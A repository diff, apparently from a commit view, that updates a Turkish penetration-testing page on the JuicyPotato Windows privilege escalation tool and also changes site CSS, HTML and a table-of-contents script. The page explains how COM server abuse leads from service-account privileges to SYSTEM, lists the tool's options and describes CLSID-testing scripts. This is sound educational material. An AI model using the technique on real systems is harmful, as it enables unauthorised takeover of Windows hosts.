> [!WARNING] > **JuicyPotato,** Windows Server 2019 ve Windows 10 build 1809 ve sonrasında **çalışmaz.** Ancak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) ile **aynı ayrıcalıkları kullanarak `NT AUTHORITY\SYSTEM`** düzeyinde erişim elde edebilirsiniz. _**Kontrol Et:**_
|
||||
|
||||
{{#ref}}
|
||||
roguepotato-and-printspoofer.md
|
||||
@ -11,7 +10,7 @@ roguepotato-and-printspoofer.md
|
||||
|
||||
## Juicy Potato (altın ayrıcalıkları kötüye kullanma) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
|
||||
_Biraz şekerlenmiş_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, yani **Windows Servis Hesaplarından NT AUTHORITY\SYSTEM'e başka bir Yerel Ayrıcalık Yükseltme aracı**_
|
||||
_[_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_'nin şekerli bir versiyonu, biraz meyve suyu ile, yani **Windows Servis Hesaplarından NT AUTHORITY\SYSTEM'e başka bir Yerel Ayrıcalık Yükseltme aracı**_
|
||||
|
||||
#### Juicypotato'yu [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) adresinden indirebilirsiniz.
|
||||
|
||||
@ -19,23 +18,23 @@ _Biraz şekerlenmiş_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenP
|
||||
|
||||
[**Juicy-potato Readme'den**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) ve onun [varyantları](https://github.com/decoder-it/lonelypotato), [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [servisi](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) üzerinden ayrıcalık yükseltme zincirini kullanır ve `127.0.0.1:6666` üzerinde MiTM dinleyicisi vardır ve `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıklarına sahip olduğunuzda çalışır. Bir Windows build incelemesi sırasında, `BITS`'in kasıtlı olarak devre dışı bırakıldığı ve `6666` portunun alındığı bir kurulum bulduk.
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) ve onun [varyantları](https://github.com/decoder-it/lonelypotato), [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [servisi](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) temelinde ayrıcalık yükseltme zincirini kullanır ve `127.0.0.1:6666` üzerinde MiTM dinleyicisi vardır ve `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıklarına sahip olduğunuzda çalışır. Bir Windows build incelemesi sırasında, `BITS`'in kasıtlı olarak devre dışı bırakıldığı ve `6666` portunun alındığı bir kurulum bulduk.
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)'yi silahlandırmaya karar verdik: **Juicy Potato'ya merhaba deyin.**
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)'yi silahlandırmaya karar verdik: **Juicy Potato'ya merhaba deyin**.
|
||||
|
||||
> Teori için, [Rotten Potato - Servis Hesaplarından SYSTEM'e Ayrıcalık Yükseltme](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) sayfasını inceleyin ve bağlantılar ve referanslar zincirini takip edin.
|
||||
|
||||
`BITS` dışında, kötüye kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bunların sadece:
|
||||
|
||||
1. mevcut kullanıcı tarafından örneklendirilebilir olması, genellikle taklit ayrıcalıklarına sahip bir “servis kullanıcısı”
|
||||
1. mevcut kullanıcı tarafından örneklendirilebilir olması, genellikle taklit ayrıcalıklarına sahip bir "servis kullanıcısı"
|
||||
2. `IMarshal` arayüzünü uygulaması
|
||||
3. yükseltilmiş bir kullanıcı (SYSTEM, Yönetici, …) olarak çalışması gerekir.
|
||||
3. yükseltilmiş bir kullanıcı (SYSTEM, Administrator, …) olarak çalışması gerekir.
|
||||
|
||||
Biraz test yaptıktan sonra, birkaç Windows sürümünde [ilginç CLSID'lerin](http://ohpe.it/juicy-potato/CLSID/) kapsamlı bir listesini elde ettik ve test ettik.
|
||||
|
||||
### Juicy detaylar <a href="#juicy-details" id="juicy-details"></a>
|
||||
|
||||
JuicyPotato, size şunları sağlar:
|
||||
JuicyPotato, size şunları yapma imkanı tanır:
|
||||
|
||||
- **Hedef CLSID** _istediğiniz herhangi bir CLSID'yi seçin._ [_Burada_](http://ohpe.it/juicy-potato/CLSID/) _işletim sistemine göre düzenlenmiş listeyi bulabilirsiniz._
|
||||
- **COM Dinleme portu** _tercih ettiğiniz COM dinleme portunu tanımlayın (hardcoded 6666 yerine)_
|
||||
@ -48,7 +47,7 @@ JuicyPotato, size şunları sağlar:
|
||||
- **İşlem Argümanı** _başlatılan işlem argümanlarını özelleştirin_
|
||||
- **RPC Sunucu adresi** _gizli bir yaklaşım için harici bir RPC sunucusuna kimlik doğrulaması yapabilirsiniz_
|
||||
- **RPC Sunucu portu** _harici bir sunucuya kimlik doğrulaması yapmak istiyorsanız ve güvenlik duvarı `135` portunu engelliyorsa…_
|
||||
- **TEST modu** _temelde test amaçlıdır, yani CLSID'leri test etmek için. DCOM oluşturur ve token kullanıcısını yazdırır. _[_test için buraya bakın_](http://ohpe.it/juicy-potato/Test/)
|
||||
- **TEST modu** _temelde test amaçlıdır, yani CLSID'leri test etmek için. DCOM'u oluşturur ve token kullanıcısını yazdırır. _[_test için buraya bakın_](http://ohpe.it/juicy-potato/Test/)
|
||||
|
||||
### Kullanım <a href="#usage" id="usage"></a>
|
||||
```
|
||||
@ -73,7 +72,7 @@ Optional args:
|
||||
|
||||
Eğer kullanıcının `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıkları varsa, o zaman **SYSTEM**'siniz.
|
||||
|
||||
Tüm bu COM Sunucularının kötüye kullanılmasını önlemek neredeyse imkansızdır. Bu nesnelerin izinlerini `DCOMCNFG` aracılığıyla değiştirmeyi düşünebilirsiniz ama iyi şanslar, bu zorlayıcı olacak.
|
||||
Tüm bu COM Sunucularının kötüye kullanımını önlemek neredeyse imkansızdır. Bu nesnelerin izinlerini `DCOMCNFG` aracılığıyla değiştirmeyi düşünebilirsiniz ama iyi şanslar, bu zorlayıcı olacak.
|
||||
|
||||
Gerçek çözüm, `* SERVICE` hesapları altında çalışan hassas hesapları ve uygulamaları korumaktır. `DCOM`'u durdurmak kesinlikle bu istismarı engelleyecektir ancak temel işletim sistemi üzerinde ciddi bir etki yaratabilir.
|
||||
|
||||
@ -108,7 +107,9 @@ c:\Users\Public>
|
||||
|
||||
Çoğu zaman, JuicyPotato'nun kullandığı varsayılan CLSID **çalışmaz** ve exploit başarısız olur. Genellikle, **çalışan bir CLSID** bulmak için birden fazla deneme yapmak gerekir. Belirli bir işletim sistemi için denemek üzere CLSID'lerin bir listesini almak için bu sayfayı ziyaret etmelisiniz:
|
||||
|
||||
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
|
||||
{{#ref}}
|
||||
https://ohpe.it/juicy-potato/CLSID/
|
||||
{{#endref}}
|
||||
|
||||
### **CLSID'leri Kontrol Etme**
|
||||
|
||||
@ -116,7 +117,7 @@ c:\Users\Public>
|
||||
|
||||
[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) dosyasını indirin ve PS oturumunuza yükleyin, ardından [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) dosyasını indirin ve çalıştırın. Bu script, test edilecek olası CLSID'lerin bir listesini oluşturacaktır.
|
||||
|
||||
Sonra [test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) dosyasını indirin (CLSID listesi ve juicypotato çalıştırılabilir dosyası için yolu değiştirin) ve çalıştırın. Her CLSID'yi denemeye başlayacaktır ve **port numarası değiştiğinde, bu CLSID'nin çalıştığı anlamına gelecektir**.
|
||||
Ardından [test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) dosyasını indirin (CLSID listesi ve juicypotato çalıştırılabilir dosyası için yolu değiştirin) ve çalıştırın. Her CLSID'yi denemeye başlayacak ve **port numarası değiştiğinde, bu CLSID'nin çalıştığı anlamına gelecektir**.
|
||||
|
||||
**-c parametresini kullanarak** çalışan CLSID'leri **kontrol edin**
|
||||
|
||||
|
@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
|
||||
}
|
||||
|
||||
/* Languages Menu Popup */
|
||||
|
||||
@media only screen and (max-width:799px) {
|
||||
#menubar-languages-toggle span {
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
|
||||
#menubar-languages-toggle {
|
||||
position: relative;
|
||||
}
|
||||
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
|
||||
cursor: pointer;
|
||||
color: var(--fg);
|
||||
}
|
||||
@media only screen and (max-width:799px) {
|
||||
.menu-title {
|
||||
font-size: 1.4rem;
|
||||
}
|
||||
}
|
||||
|
||||
.menu-bar,
|
||||
.menu-bar:visited,
|
||||
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
|
||||
color: var(--sidebar-fg);
|
||||
}
|
||||
}
|
||||
@media only screen and (min-width:1440px) {
|
||||
#sidebar-toggle{
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
@media only screen and (max-width:549px) {
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
|
||||
border-top: 1px solid var(--table-border-color);
|
||||
margin-top: 1rem;
|
||||
align-content: center;
|
||||
z-index: 101;
|
||||
z-index: 106;
|
||||
}
|
||||
.footer .theme-wrapper {
|
||||
max-width: var(--container-max-width);
|
||||
|
@ -343,8 +343,8 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: #2f2f2f;
|
||||
--table-header-bg: hsl(226, 23%, 31%);
|
||||
--table-alternate-bg: hsl(226, 23%, 14%);
|
||||
--table-header-bg: #2f2f2f;
|
||||
--table-alternate-bg: #222222;
|
||||
|
||||
--searchbar-border-color: #2f2f2f;
|
||||
--searchbar-bg: hsl(0, 0%, 11%);
|
||||
@ -429,7 +429,7 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: hsl(0, 0%, 95%);
|
||||
--table-header-bg: hsl(0, 0%, 80%);
|
||||
--table-header-bg: hsl(0, 0%, 95%);
|
||||
--table-alternate-bg: hsl(0, 0%, 97%);
|
||||
|
||||
--searchbar-border-color: #aaa;
|
||||
|
@ -176,10 +176,12 @@
|
||||
|
||||
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
|
||||
<i class="fa fa-globe"></i>
|
||||
<span class="menu-bar-link">Translations</span>
|
||||
|
||||
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
<button id="en" role="menuitem" class="menu-bar-link">English</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
|
||||
<button id="de" role="menuitem" class="menu-bar-link">German</button>
|
||||
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
|
||||
@ -190,11 +192,10 @@
|
||||
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
|
||||
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
|
||||
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
|
||||
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
|
||||
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
@ -72,7 +72,7 @@
|
||||
.sidetoc-wrapper {
|
||||
position: fixed;
|
||||
width: 250px;
|
||||
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
|
||||
height: calc(100vh - var(--menu-bar-height) - 50px * 2);
|
||||
overflow: auto;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
|
@ -1,68 +1,76 @@
|
||||
let scrollTimeout;
|
||||
let scrollTimeout
|
||||
|
||||
const listenActive = () => {
|
||||
const elems = document.querySelector(".pagetoc").children;
|
||||
[...elems].forEach(el => {
|
||||
const elems = document.querySelector(".pagetoc").children
|
||||
;[...elems].forEach((el) => {
|
||||
el.addEventListener("click", (event) => {
|
||||
clearTimeout(scrollTimeout);
|
||||
[...elems].forEach(el => el.classList.remove("active"));
|
||||
el.classList.add("active");
|
||||
clearTimeout(scrollTimeout)
|
||||
;[...elems].forEach((el) => el.classList.remove("active"))
|
||||
el.classList.add("active")
|
||||
// Prevent scroll updates for a short period
|
||||
scrollTimeout = setTimeout(() => {
|
||||
scrollTimeout = null;
|
||||
}, 100); // Adjust timing as needed
|
||||
});
|
||||
});
|
||||
};
|
||||
scrollTimeout = null
|
||||
}, 100) // Adjust timing as needed
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
|
||||
const getPagetoc = () =>
|
||||
document.querySelector(".pagetoc") || autoCreatePagetoc()
|
||||
|
||||
const autoCreatePagetoc = () => {
|
||||
const main = document.querySelector("#content > main");
|
||||
const main = document.querySelector("#content > main")
|
||||
const content = Object.assign(document.createElement("div"), {
|
||||
className: "content-wrap"
|
||||
});
|
||||
content.append(...main.childNodes);
|
||||
main.prepend(content);
|
||||
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
|
||||
return document.querySelector(".pagetoc");
|
||||
};
|
||||
className: "content-wrap",
|
||||
})
|
||||
content.append(...main.childNodes)
|
||||
main.prepend(content)
|
||||
main.insertAdjacentHTML(
|
||||
"afterbegin",
|
||||
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
|
||||
)
|
||||
return document.querySelector(".pagetoc")
|
||||
}
|
||||
const updateFunction = () => {
|
||||
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
const scrolledY = window.scrollY;
|
||||
let lastHeader = null;
|
||||
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
const scrolledY = window.scrollY
|
||||
let lastHeader = null
|
||||
|
||||
// Find the last header that is above the current scroll position
|
||||
for (let i = headers.length - 1; i >= 0; i--) {
|
||||
if (scrolledY >= headers[i].offsetTop) {
|
||||
lastHeader = headers[i];
|
||||
break;
|
||||
lastHeader = headers[i]
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children];
|
||||
pagetocLinks.forEach(link => link.classList.remove("active"));
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children]
|
||||
pagetocLinks.forEach((link) => link.classList.remove("active"))
|
||||
|
||||
if (lastHeader) {
|
||||
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
|
||||
if (activeLink) activeLink.classList.add("active");
|
||||
const activeLink = pagetocLinks.find(
|
||||
(link) => lastHeader.href === link.href
|
||||
)
|
||||
if (activeLink) activeLink.classList.add("active")
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
window.addEventListener('load', () => {
|
||||
const pagetoc = getPagetoc();
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
headers.forEach(header => {
|
||||
window.addEventListener("load", () => {
|
||||
const pagetoc = getPagetoc()
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
headers.forEach((header) => {
|
||||
const link = Object.assign(document.createElement("a"), {
|
||||
textContent: header.text,
|
||||
href: header.href,
|
||||
className: `pagetoc-${header.parentElement.tagName}`
|
||||
});
|
||||
pagetoc.appendChild(link);
|
||||
});
|
||||
updateFunction();
|
||||
listenActive();
|
||||
window.addEventListener("scroll", updateFunction);
|
||||
});
|
||||
|
||||
className: `pagetoc-${header.parentElement.tagName}`,
|
||||
})
|
||||
if (header.parentElement.querySelectorAll("a").length === 2) {
|
||||
link.textContent = header.parentElement.querySelectorAll("a")[1].text
|
||||
}
|
||||
pagetoc.appendChild(link)
|
||||
})
|
||||
updateFunction()
|
||||
listenActive()
|
||||
window.addEventListener("scroll", updateFunction)
|
||||
})
|
||||
|
Loading…
x
Reference in New Issue
Block a user